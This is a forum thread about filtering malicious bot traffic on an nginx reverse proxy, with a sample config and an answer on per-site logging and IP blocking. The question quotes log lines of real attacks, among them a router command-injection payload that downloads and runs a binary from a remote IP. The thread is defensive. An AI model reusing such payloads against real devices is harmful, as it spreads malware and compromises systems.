1

I have a web server that hosts my open to the internet web applications. Every web app has its own subdomain, e.g. app1.mycompanydomain.com and app2.mycompanydomain.com. All of the incoming traffic comes to the nginx where it resolves host names and proxies the requests to the application web server on the same VM. Here is my configuration:

server {
            listen 80;
            server_name _;
            return 444;
    }

    server {
            listen 80;
            server_name *.mycompanydomain.com;
            return 301 https://$host$request_uri;
    }

    server {
            listen 443 ssl;
            server_name _;

            ssl_certificate /opt/cert/cert.crt;
            ssl_certificate_key /opt/cert/cert.key;

            return 444;
    }

    server {
            server_name app1.mycompanydomain.com app1.mycompanydomain.com;
            listen 443 ssl;

            ssl_certificate /opt/cert/cert.crt;
            ssl_certificate_key /opt/cert/cert.key;

            location / {
                    proxy_pass http://localhost:9081/;
            }
    }

    #Proxying for the rest of the applications look the same

Blocks where I return 444 http status are intended to filter out automated malicious requests which we used to receive plenty. The problem is that we still receive a fair amount of such requests. I'm almost sure the most of these requests are sent by automatic bots that don't know the target hosts, but for some reason we couldn't identify a target host of these requests so we can't really block them. We tried to log $host, $http_host, $server_name but all of them were either empty or _.

Therefore 2 questions:

  1. How can request host be empty? Is there other ways to identify request host?
  2. What other rules I can impose to filter our rogue traffic?

Example of malicious traffic that is still coming through:

1. IP: 45.228.213.131 [28/Feb/2020:03:32:25 -0500] request: "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1", target: _, code: 400, body: 166, agent: "botnet/2.0", time: 0.000 ms

2. IP: 85.93.20.170 [27/Feb/2020:16:29:24 -0500] request: "\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr", target: _, code: 400, body: 166, agent: "-", time: 0.132 ms

3. IP: 31.208.166.61 [25/Feb/2020:16:07:02 -0500] request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1", target: _, code: 400, body: 166, agent: "Mozilla/5.0", time: 0.000 ms

1
  • It is just a guess, but maybe adding default_server parameter to the listen directives of server blocks that filters malicious requests will help? Mar 5, 2020 at 18:47

1 Answer 1

0

I'm surprised nobody has answered this one yet. Since the config you provided I don't see that you are defining the log files separately per application that you are hosting external access which you should do so like this:

access_log /var/log/nginx/website1_access.log;
error_log /var/log/nginx/website1_error.log;

By separating them then you can drill down per FQDN as each site will have it's own log files. Then see if there's any patterns to the attacks and decide to handle a certain way from there. For example grep for the 444's you have setup then use "cut" to just display the IP's then pipe into sort and then uniq and now you have a list of IP's that you could deny or even block on your firewall. The introduced risk is that if one of those IP's is in fact one that should be accessing the site but accidentally attacking it like a customers machine with a virus, how will you manage the blocking. To get around this I would recommend grepping your log files for a particular string that you can identify as legitimate traffic, then cut/sort/uniq those IP's as a baseline. Now look for those IP's in the list of the 444's and other attacks and if you have a match then bring up to management your findings and let them decide if they want to block them or bring up the issue with that user or client since you should be able to track this on your application server who the user is by matching the time stamps of the attack(s) against the NGINX server. I'll do a dry run of this first and see how it runs for a month then if no false positives then script an automation to check for offending IP's and then deny them in a separate config that you can Include in your NGINX config. One other thing to make it more sensitive for attacks is that for example let's say that you don't use php or cgi in any of your valid URL's you can also grep for those and apply logic for automatically blocking those as well.

Here are a few projects that will also help with automation: NGINX Honeypot & NGINX Bad Bot and Referrer Blocker

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.